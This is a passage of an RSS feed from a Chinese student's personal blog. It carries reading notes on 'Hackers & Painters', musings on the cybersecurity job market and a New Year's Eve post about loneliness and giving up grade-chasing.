&lt;p&gt;可惜重视安全从来不代表重视安全从业人员。我们可以把现存的安全防护比作长城，而大多数漏洞就像是长城上的一个老鼠洞。作为精明老板的你，从利益最大化角度来讲，是选择一个每天“巡逻”吃闲饭并且要按时发工资的员工，还是选择老鼠洞被发现时从外迅速征调的临时工呢。答案不言而喻。&lt;/p&gt;
&lt;p&gt;故而裁员时安全首当其冲——我饭都快吃不上来，谁还管安全不安全。这也就造就了安全本身就业的困难，往往只有高精尖人才能吃上一口还算热乎的饭。至于龙国声称的网安人才缺口高达多少多少，那还是让它继续缺着吧。&lt;/p&gt;
&lt;p&gt;反正缺的也不是我，我还得继续忙着给网安泼开水呢。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B01-2.JPG&quot; alt=&quot;我要浇开水了！&quot;&gt;&lt;/p&gt;
&lt;p&gt;这是网安最好的时代吗?&lt;/p&gt;
&lt;p&gt;我只能说也许是。&lt;/p&gt;
&lt;h2&gt;hacker&amp;#x26;painter:&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;黑客与画家的共同之处，在于他们都是创作者。与作曲家、建筑师和作家一样，黑客和画家都试图创作出优秀的作品。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在经历完漫长而又无趣的期末周之后（大英怎么能算考试呢），终于再次抽出比较完整的时间读完这本很早就放在收藏夹但迟迟没有翻开的书。&lt;/p&gt;
&lt;p&gt;本书取材于&lt;a href=&quot;https://en.wikipedia.org/wiki/Paul_Graham_(programmer)&quot;&gt;Paul Graham&lt;/a&gt;的博客，记录了他关于创业、致富、编程语言的一些看法。这是我第一次阅读类似的书籍，一时还谈不出什么所以然来，但作者关于书呆子的一系列论调确实戳中了我——&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&quot;对于书呆子来说，意识到学校并非全部的人生，也是很重要的事情。学校是一个很奇怪的、人为设计出来的体系，一半像是无菌室，一半像是野蛮洪荒之地。它就像人生一样，里面无所不包，但又不是事物的真实样子。它只是一个暂时的过程，只要你向前看，你就能超越它，哪怕现在你还是身处其中。&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;非常敏锐的见解与表达。&lt;/p&gt;
&lt;p&gt;整本读完有关成长部分总结出来大概是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在我们小时候，每个人都会鼓励你不断成长，成为一个心智健全，不再孩子气的大人。但当我们成为大人，就不再会有人继续鼓励我们，做一个始终保持怀疑态度，善于抵制社会错误潮流的人。对此，我们要懂得自洽，并做一个始终对周遭环境非常敏感的大孩子。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;创业和财富部分讲述的很有趣，但鉴于我对此知之甚少就不妄做评论，或许哪一天&lt;s&gt;轮到我致富&lt;/s&gt;了会再翻出笔记看看。&lt;/p&gt;
&lt;p&gt;印象深刻的句子记录如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对于那些高度困难的领域，只有身处其中的人，才能意识到成功需要不间断的（虽然未必是自觉的）付出。&lt;/li&gt;
&lt;li&gt;黑客与画家的共同之处在于他们都是创作者。与作曲家、建筑师和作家一样，黑客和画家都试图创作出优秀的作品。&lt;/li&gt;
&lt;li&gt;经过岁月的洗礼，优美的东西生存发展的机会更大；丑陋的东西往往会被淘汰。&lt;/li&gt;
&lt;li&gt;真正竞争软件设计的战场是新兴领域的市场，这里还没有人建立过防御工事。&lt;/li&gt;
&lt;li&gt;创业公司其实就是解决了某个技术难题的小公司。&lt;/li&gt;
&lt;li&gt;你可以把创业想象成一个压缩过程，你的所有工作年份被压缩成了短短几年。你不再是低强度地工作 40 年，而是以极限强度工作 4 年。&lt;/li&gt;
&lt;li&gt;如果创业那么轻松，所有人就都去创业了。&lt;/li&gt;
&lt;li&gt;通过创造有价值的东西而致富，这种方法的优势不仅仅在于它是合法的，还在于它更简单，你只需要做出别人需要的东西就可以了。&lt;/li&gt;
&lt;li&gt;公司就是许多人聚在一起创造财富的地方，能够制造更多人们需要的东西。&lt;/li&gt;
&lt;li&gt;一个大学毕业生总是想 “我需要一份工作”，别人也是这么对他说的，好像变成某个组织的成员，是一件多么重要的事情。更直接的表达方式应该是：“你需要去做一些人们需要的东西”。即使不加入公司，你也能做到。公司不过是一群人在一起工作，共同做出某种人们需要的东西。真正重要的是做出人们需要的东西，而不是加入某个公司。&lt;/li&gt;
&lt;li&gt;如果你有一个令你感到安全的工作，你是不会致富的，因为没有危险，就几乎等于没有可放大性。&lt;/li&gt;
&lt;li&gt;山姆・沃顿并不是因为经营零售业而致富，而是因为他设计出了一种新型商店。&lt;/li&gt;
&lt;li&gt;创业公司就像蚊子一样，不带有任何防御，只为了达到一个目的而活着。蚊子唯一的防御就是作为一个物种，它们的数量极多，但是作为个体，却极难生存。往往只有两种结局：要么赢得一切，要么彻底消失。&lt;/li&gt;
&lt;li&gt;如果你想通过创造财富致富，那么你必须知道人们需要什么。&lt;/li&gt;
&lt;li&gt;工程师愿意接受普通薪水去做一些诱人的项目，比如战斗机和登月火箭；而与日常生活关系更密切的技术革新，比如电灯泡和半导体，只能由创业者来发明。&lt;/li&gt;
&lt;li&gt;很多人看上去很聪明，但是我不知道他们的品味如何。&lt;/li&gt;
&lt;li&gt;人类的思想就是没有经过整理的、无数杂念的混合。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这些话即使独立于语境外也显得很有道理，大概这就是创业导师的高度（？&lt;/p&gt;
&lt;p&gt;至于关于编程语言那一段，由于根本没用过lisp，对于各种编程语言也没怎么接触（只会一点cpp和py的悲哀），看的云里雾里，不过作者对lisp的推崇引起了我对lisp的好奇心，打算去稍微了解下（当然，仅限于了解...)。&lt;/p&gt;
&lt;p&gt;以及读完全篇后满脑子都是某操作系统多么没品味，多么垃圾。&lt;s&gt;这下终于理解为什么果粉如此热爱这本书了&lt;/s&gt;，感觉下一本可以考虑了解下windows的历史🤔。&lt;/p&gt;
&lt;h2&gt;合理锻炼的必要性：&lt;/h2&gt;
&lt;p&gt;放在这里仅仅是为了提醒我今年一定要好好锻炼，在和小w逛了两天长沙后直接过载了一天。痛定思痛决定提高体质，不让本来就岌岌可危的体测跌破底线，大家一定要好好监督我😭。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/B01-3.jpg&quot; alt=&quot;肉眼可见的没锻炼&quot;&gt;&lt;/p&gt;</content:encoded><category>week</category></item><item><title>Memos 0:和应试教育say-good-bye</title><link>https://cry4o4n0tfound.cn/blog/memos-0%E5%92%8C%E5%BA%94%E8%AF%95%E6%95%99%E8%82%B2say-good-bye/</link><guid isPermaLink="true">https://cry4o4n0tfound.cn/blog/memos-0%E5%92%8C%E5%BA%94%E8%AF%95%E6%95%99%E8%82%B2say-good-bye/</guid><pubDate>Tue, 31 Dec 2024 20:33:33 GMT</pubDate><content:encoded>&lt;p&gt;​&lt;/p&gt;
&lt;h2&gt;跨年夜的&quot;孤独&quot;：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;生命从来不曾离开孤独而存在。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;现在是12.31晚上的8点30，后湖的烟花已经陆陆续续在放了。很吵闹，大概这就是跨年的气息🤔，毕竟中国人爱热闹是出了名的。&lt;/p&gt;
&lt;p&gt;一如既往没有出去跨年，对长沙节假日的人流量依旧保持着敬畏之心😇，幸运的是室友也不怎么喜欢在拥挤人潮中跨年的感觉，所以宿舍还算热闹，我们把b站跨年晚会开到最大声，也算营造出“热闹”的氛围了。&lt;/p&gt;
&lt;p&gt;这其实和我小时候一个人在家偷偷玩电脑很像，为了让屋里闹腾一点，也会打开电视随便选部动画片让它自动播放着，叫做”听个响“，不过这还有另外的考量，因为每次都得在听到开门声后迅速关掉电脑，乖乖坐在电视机面前装作入神看电视的状态。可惜的是我爸妈很快就识破了我，每次回来摸一摸显示器背后是否发烫就能判断我是否偷偷玩了电脑。于是电视”听响“这一事件永远告别了历史舞台。但现在回想起来，放电视更多是为了打破寂静，不让自己显得孤独，冷清的环境确实很容易让小孩子感到害怕。&lt;/p&gt;
&lt;p&gt;那么孤独到底是什么呢？&lt;/p&gt;
&lt;p&gt;林语堂对孤独有个很出名的见解：”孤独两个字拆开，有孩童，有瓜果，有小犬，有蚊蝇，足以捧起一个盛夏傍晚的巷子口，人情味十足，稚儿擎瓜柳蓬下，细犬逐蝶深巷中。人间繁华多笑语，唯我空余两鬓风。孩童水果猫狗飞蝇当然热闹，可都与你无关，这就叫孤独。”。类似靠对比出来的“孤独”体会我也有——一个人打算去ktv唱歌，开了mini包，结果在被告知mini包订完了，于是给我安排到了一个50、60平方米的超大包，在空空荡荡的房间里只有自己的声音，就连回响也与mini包截然不同,过去虽然在mini包也独自唱过几次歌，但远没有如此的孤独感。&lt;/p&gt;
&lt;p&gt;所以孤独是对比出来的一种状态，是因为没有投入到某件事从而过多的将精力放在对比上而显现出来的状态。像小时候一个人看一下午的书不会觉得孤独，精神都投入到书的内容中去了，同样的，在逼仄狭小的mini包内更能专注于自己的声音从而不觉得孤独。进而推导出一个结论——小时候偷玩电脑时需要分出精力来辨别爸妈是否回来，从而精力也不够集中，对环境的冷清过于放大化于是觉得孤独。&lt;/p&gt;
&lt;p&gt;可惜的是精力集中的时间太过有限，大家胡思乱想的时候总是会不停对比，放大自己的情绪，孤独随之而来。（或许闲的没事和期末周容易想谈恋爱就是这个原因🤔，毕竟这两个时间段最容易胡思乱想）&lt;/p&gt;
&lt;p&gt;显然，避免跨年夜孤独的最好办法就是和我一样在这里写博客，集中精力就完全忘了这回事。（确信）&lt;/p&gt;
&lt;p&gt;其实很好奇大家认为的孤独是什么，可惜由于我部署时的小差错，导致评论很麻烦，估计得等考完试再来重新解决下。&lt;/p&gt;
&lt;h2&gt;和应试教育say good bye：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;人生是原野，不是轨道。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;去年依旧是目标不明确的一年，上半年内心自我拉扯，在舍弃绩点和卷绩点之间纠结半天，感觉像是被应试教育规训太久，什么分数变化都还是牵动着我的内心，看着高分依旧会喜悦，低了一点总会抱怨个不停，和中学生活没什么两样。但毕竟绩点是唯一摆在大家面前清晰可见的道路，再加上从小到大父母在耳旁不停念叨的成绩，从古至今的”万般皆下品，唯有读书高“，我也默默原谅了自己，甚至准备和下学期的我继续拉扯（经典宽以律己，严以待人）。&lt;/p&gt;
&lt;p&gt;然而没想到秋季学期才是我的梦魇：&lt;/p&gt;
&lt;p&gt;令人感到费解的工训课——不同的老师总能同样将课讲的模糊不清，内容中硬件不算和本专业毫无关系吧，但也估计沾不到什么关系...去就是发呆，然后要到提交的时候焦虑地玩手机，准备抄历届的报告。讽刺的是报告交上去也从来不看，就算我放张2015年的图片上去也无所谓。所以这课的意义是？&lt;/p&gt;
&lt;p&gt;恶魔一般的电子电路——就算是懒驴也得在电子电路课后上磨，课后作业，课堂小测，课堂活动。相较于高中的作业也不逞多让😅，以及那追命般的小测，让人毫无学习欲望。各种实验逮着你的闲隙挤占，生怕你有时间去学点别的。&lt;/p&gt;
&lt;p&gt;精神状态be like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/cry.PNG&quot; alt=&quot;cry&quot;&gt;&lt;/p&gt;
&lt;p&gt;和彼时的某人确实一模一样：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pub-11a3e27e8dec4fa7bab83c25fdffb297.r2.dev/wt.jpg&quot; alt=&quot;wt&quot;&gt;&lt;/p&gt;
&lt;p&gt;这何尝不是一种致敬。&lt;/p&gt;
&lt;p&gt;云里雾里的大学物理——其实也不是云里雾里，只是大物一般都在早八，没睡醒头会有点云里雾里...不过不妨碍我觉得它真的很无趣，高中就不喜欢物理，上了大学还得被硬逼着学这破玩意儿，我真是受够了。&lt;/p&gt;
&lt;p&gt;全程摸鱼的数据库（指老师）——虽然我确实没打算在课堂上学到什么知识，但twj有那么点夸张，别的老师讲的东西从你耳边过一遍之后，再怎么也会有点印象，可twj，能让大家一致表示觉得什么都没讲的老师可就仅此一位😊&lt;/p&gt;
&lt;p&gt;然而这些基本都和保研息息相关，它们都是”信息安全“专业的核心课。于是我再一次思考起了大学的意义，我是来学点什么的，还是来保研的。周围许多人似乎将大学上成了中学，一成不变的跟着老师走，琢磨着每个课程的分数，甚至这一步做完了还要详尽的问老师：“老师，那我们下一步该干吗了？”&lt;/p&gt;
&lt;p&gt;老实说，当时在电子电路听到很好笑，觉得像是小学生等待下一步指令一样。但是笑着笑着就觉得很悲哀——我难道真得被迫做这些我觉得没有意义的事来消磨我的时间？那和要了我的命有什么区别。&lt;/p&gt;
&lt;p&gt;卷绩点自然不算错，但这显然是一条不适合我的道路。&lt;/p&gt;
&lt;p&gt;那天晚上和SkyWT聊了很久，彻底坚定了放弃绩点的想法，于是开始做起一些自认为有趣的事情——参加了校内ctf的新生赛（让人感到好笑的是，大二安全专业参加的就我一个，因为电子电路有模型机作业在那周截止），认识了信安现任会长l1uyun，以及学习了一些其它之前一直想弄清楚原理的知识，感觉整个世界都因此清晰了不少。&lt;/p&gt;
&lt;p&gt;现在期末考完两科了。前天刚考完电子电路出来的一瞬间还会觉得心里有点空荡，大概是拿不了高分的缘故，晚上考完数据库反而没什么感觉。放弃东西的时候就是很难决绝，但有了第一次就有第二次，第二次显然轻松多。可恶的绩点成绩，别想pua我，这么多年了，也该和你say good bye了。&lt;/p&gt;
&lt;p&gt;之前流行一句”人生是原野，不是轨道。“，这话没错，可无论原野还是轨道总归得有一个目的地，没有目标漫无目的地行走，迟早会迷失方向。我想，相较于上述那些必修课，找到自己目标才是人生的必修课。&lt;/p&gt;
&lt;h2&gt;新年快乐：&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;我活在世上，无非想要明白些道理，遇见些有趣的事。倘能如我所愿，我的一生就算成功。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以前每年总会暗暗在手机备忘录里写下新年的目标，最后执行起来效果极差，我还是适合想到什么做什么，能为此有很长的热度就够了，今年就不打算写了。随心所欲才是p人核心生产力😤。（所以也可能明天又心血来潮偷偷写了）&lt;/p&gt;
&lt;p&gt;希望明年能明白些道理，遇见些有趣的人和事。倘能如我所愿，我的明年就算成功。&lt;/p&gt;
&lt;p&gt;祝抽空看我博客的各位新年快乐！&lt;/p&gt;</content:encoded><category>week</category></item></channel></rss>